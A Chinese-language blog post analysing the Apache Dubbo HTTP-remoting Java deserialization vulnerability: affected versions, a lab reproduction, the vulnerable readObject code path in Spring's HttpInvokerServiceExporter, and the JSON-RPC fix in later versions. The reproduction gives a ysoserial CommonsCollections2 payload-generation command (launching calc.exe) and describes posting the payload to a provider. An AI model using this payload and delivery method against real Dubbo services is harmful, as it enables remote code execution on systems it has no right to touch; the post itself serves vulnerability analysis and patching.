Apacche Dubbo 反序列化漏洞

简介: Apacche Dubbo 反序列化漏洞

Apache Dubbo 反序列化漏洞



早在2019年开发者社区就有谈到这个 http 协议漏洞问题,近期360灵腾安全实验室判断漏洞等级为高,利用难度低,威胁程度高。建议升级 dubbo 版本,避免遭受黑客攻击。


漏洞描述


Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP.


简单的说,就是HTTP remoting 开启的时候,存在反序列化漏洞。Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为,最终导致了远程任意代码执行。


影响版本:


Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions

漏洞复现


  1. 创建一个 Dubbo 服务提供者代码。暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现


<dubbo:protocol name="http" port="8080" server="tomcat" />

注:可自己简单写一个,也可官网下载 demo



dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3. 在项目 pom 中添加 commons-collections4 依赖(测试漏洞用,主要用于反序列化)


<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>


启动服务,可以看大 dubboadmin上有个服务注册了


640.png

  1. 下载反序列化工具 ysoserial 利用漏洞执行 相关服务器上的命令,例如这里是启动计算器, ysoserial可以随意生成一个序列化文件,如下:


https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar


生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)

java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser


  1. 调用 provider

这里使用的是 postman 发包,也可使用 burp 发包。

发数据包的时候选择上一步生成的进制文件 payload.ser,会发现

640.png

demo 执行报错如下:


java.lang.NullPointerException
 at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(Unknown Source)
 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(Unknown Source)
 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(Unknown Source)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
 at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
 at java.util.PriorityQueue.siftDownUsingComparator(Unknown Source)
 at java.util.PriorityQueue.siftDown(Unknown Source)
 at java.util.PriorityQueue.heapify(Unknown Source)
 at java.util.PriorityQueue.readObject(Unknown Source)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
 at java.lang.reflect.Method.invoke(Unknown Source)
 at java.io.ObjectStreamClass.invokeReadObject(Unknown Source)
 at java.io.ObjectInputStream.readSerialData(Unknown Source)
 at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
 at java.io.ObjectInputStream.readObject0(Unknown Source)
 at java.io.ObjectInputStream.readObject(Unknown Source)
 at org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:144)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
 at org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
 at org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
 at org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)

漏洞原因


dubbo 在进行 HTTP 协议进行数据传输时,使用的时 Java 序列化。使用 wireshark 抓包可以看到 ,从 ContentType: application/x-java-serialized-object 和报文 Body 部分的 ASCII 码可以看出,使用的是 Java Serialize 序列化。如果伪造了一个序列号的对象进入请求数据报文,然后伪造对象被反序列化出来后执行了,就造成了侵入,形成漏洞。

看 2.5.10 HttpProtocol 的 handle 方法实现


private class InternalHandler implements HttpHandler {
  public void handle(HttpServletRequest request, HttpServletResponse response)
          throws IOException, ServletException {
      String uri = request.getRequestURI();
      HttpInvokerServiceExporter skeleton = skeletonMap.get(uri);
      if (!request.getMethod().equalsIgnoreCase("POST")) {
          response.setStatus(500);
      } else {
          RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());
          try {
              skeleton.handleRequest(request, response);
          } catch (Throwable e) {
              throw new ServletException(e);
          }
      }
  }
}


原因是使用的是 spring httpinvoker 功能 HttpInvokerServiceExporter


spring httpinvoker 做了风险提示:

640.png


大致意思是,由于不安全的 Java 反序列化而导致的漏洞:操纵输入流可能会在反序列化步骤中导致服务器上不必须的代码执行


继续查看  skeleton.handleRequest(request, response); 的实现。


public void handleRequest(HttpServletRequest request, HttpServletResponse response)
   throws ServletException, IOException {
  try {
   RemoteInvocation invocation = readRemoteInvocation(request);
   RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());
   writeRemoteInvocationResult(request, response, result);
  }
  catch (ClassNotFoundException ex) {
   throw new NestedServletException("Class not found during deserialization", ex);
  }
 }
  protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is)
   throws IOException, ClassNotFoundException {
  ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
  try {
   return doReadRemoteInvocation(ois);
  }
  finally {
   ois.close();
  }
 }
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois)
   throws IOException, ClassNotFoundException {
//  1. 恶意对象在此被反序列化,漏洞触发
  Object obj = ois.readObject();
  if (!(obj instanceof RemoteInvocation)) {
   throw new RemoteException("Deserialized object needs to be assignable to type [" +
     RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
  }
  return (RemoteInvocation) obj;
 }

ois.readObject(); 读取数据全程过程中没有做任何的检查和过滤,直接使用的是readObject 方法直接反序列化 ,这个过程在如果没有校验和过滤,导致如果传入了序列化对象可以被反序列对象创建,漏洞就触发了。


漏洞解决


避免实现反序列化,对请求报文不进行反序列化处理。

看下 dubbo 2.7.7 之后的 HttpPrptocol 实现。


private class InternalHandler implements HttpHandler {
        private boolean cors;
        public InternalHandler(boolean cors) {
            this.cors = cors;
        }
        @Override
        public void handle(HttpServletRequest request, HttpServletResponse response)
                throws ServletException {
            String uri = request.getRequestURI();
            JsonRpcServer skeleton = skeletonMap.get(uri);
            if (cors) {
                response.setHeader(ACCESS_CONTROL_ALLOW_ORIGIN_HEADER, "*");
                response.setHeader(ACCESS_CONTROL_ALLOW_METHODS_HEADER, "POST");
                response.setHeader(ACCESS_CONTROL_ALLOW_HEADERS_HEADER, "*");
            }
            if (request.getMethod().equalsIgnoreCase("OPTIONS")) {
                response.setStatus(200);
            } else if (request.getMethod().equalsIgnoreCase("POST")) {
                RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());
                try {
                    skeleton.handle(request.getInputStream(), response.getOutputStream());
                } catch (Throwable e) {
                    throw new ServletException(e);
                }
            } else {
                response.setStatus(500);
            }
        }
    }
public void handle(ResourceRequest request, ResourceResponse response)
  throws IOException {
  if (LOGGER.isLoggable(Level.FINE)) {
   LOGGER.log(Level.FINE, "Handing ResourceRequest "+request.getMethod());
  }
  // set response type
  response.setContentType(JSONRPC_RESPONSE_CONTENT_TYPE);
  // setup streams
  InputStream input  = null;
  OutputStream output = response.getPortletOutputStream();
  // POST
  if (request.getMethod().equals("POST")) {
   input = request.getPortletInputStream();
  // GET
  } else if (request.getMethod().equals("GET")) {
   input = createInputStream(
    request.getParameter("method"),
    request.getParameter("id"),
    request.getParameter("params"));
  // invalid request
  } else {
   throw new IOException(
    "Invalid request method, only POST and GET is supported");
  }
  // service the request
  handle(input, output);
  //fix to not flush within handle() but outside so http status code can be set
  output.flush();
 }

看下 handle 怎么处理的 使用的是 JsonRpcServer 的 handle 方法


public int handle(InputStream ips, OutputStream ops)
  throws IOException {
  // get node iterator
  ReadContext ctx = ReadContext.getReadContext(ips, mapper);
  // prcess
  JsonNode jsonNode = null;
  try {
   ctx.assertReadable();
   jsonNode = ctx.nextValue();
  } catch (JsonParseException e) {
   writeAndFlushValue(ops, createErrorResponse(
    "jsonrpc", "null", -32700, "Parse error", null));
   return -32700;
  }
  return handleNode(jsonNode, ops);
 }


JsonRpcServer  类的 handle 方法处理之后,request.getInputStream() 没有再被反序列化,被篡改的序列化对象,无法被反序列化,这样漏洞就失效了。

相关文章
|
存储 Dubbo 前端开发
Beanutils造成dubbo反序列化失败?
今天下午,当我经过一个小时的奋”键“疾”码“,准备好好的审查一下(摸鱼)自己写的代码,经过一段时间审查(摸的差不多了,该下班了),得出一个结论我写的代码很优雅、精简。所以大手一挥提交代码,并在API管理系统上将xxx接口点了个完成。准备收拾东西走人了准点下班。然而事与愿违,没过多久前端大哥就@我了,说xxx接口有问题,麻烦处理一下。内心第一反应(你丫的参数传错了吧)卑微的我只能默默的回个,好的、麻烦把参数给我一下,我这边检查一下[微笑脸]。
|
安全 Dubbo 应用服务中间件
Dubbo反序列化漏洞复现分析(二)
Dubbo反序列化漏洞复现分析(二)
|
负载均衡 Dubbo 安全
Dubbo反序列化漏洞复现分析
Dubbo反序列化漏洞复现分析
|
负载均衡 Dubbo 安全
最新!Dubbo 远程代码执行漏洞通告,速度升级
0x01 漏洞背景 2020年06月23日, 360CERT监测发现 Apache Dubbo 官方 发布了 Apache Dubbo 远程代码执行的风险通告,该漏洞编号为 CVE-2020-1948,漏洞等级:高危。
123 0
最新!Dubbo 远程代码执行漏洞通告,速度升级
|
负载均衡 Dubbo 安全
Apache Dubbo 被曝出“高危”远程代码执行漏洞
6 月 23 日,360 网络安全响应中心(360CERT)发布《CVE-2020-1948:Apache Dubbo 远程代码执行漏洞通告》(以下简称《通告》)。《通告》称,Apache Dubbo 存在远程代码执行漏洞,受影响的版本有 Dubbo 2.5.x、Dubbo 2.6.0 - 2.6.7 和 Dubbo 2.7.0 - 2.7.6。
|
1月前
|
Dubbo Java 应用服务中间件
微服务学习 | Springboot整合Dubbo+Nacos实现RPC调用
微服务学习 | Springboot整合Dubbo+Nacos实现RPC调用
|
7月前
|
负载均衡 Dubbo 应用服务中间件
微服务技术系列教程(31) - Dubbo-原理及负载均衡分析
微服务技术系列教程(31) - Dubbo-原理及负载均衡分析
62 0
|
1月前
|
Dubbo Java 应用服务中间件
阿里巴巴资深架构师深度解析微服务架构设计之SpringCloud+Dubbo
软件架构是一个包含各种组织的系统组织,这些组件包括Web服务器,应用服务器,数据库,存储,通讯层),它们彼此或和环境存在关系。系统架构的目标是解决利益相关者的关注点。
|
1月前
|
Dubbo Cloud Native 应用服务中间件
【阿里云云原生专栏】云原生环境下的微服务治理:阿里云 Dubbo 与 Nacos 的深度整合
【5月更文挑战第25天】阿里云Dubbo和Nacos提供微服务治理的强大工具,整合后实现灵活高效的治理。Dubbo是高性能RPC框架,Nacos则负责服务发现和配置管理。整合示例显示,通过Nacos注册中心,服务能便捷注册发现,动态管理配置。简化部署,提升适应性,但也需注意服务稳定性和策略规划。这种整合为云原生环境的微服务架构带来强大支持,未来应用前景广阔。
218 2
|
1月前
|
Dubbo Java 应用服务中间件
Spring Cloud Dubbo: 微服务通信的高效解决方案
【4月更文挑战第28天】在微服务架构的发展中,服务间的高效通信至关重要。Spring Cloud Dubbo 提供了一种基于 RPC 的通信方式,使得服务间的调用就像本地方法调用一样简单。本篇博客将探讨 Spring Cloud Dubbo 的核心概念,并通过具体实例展示其在项目中的实战应用。
40 2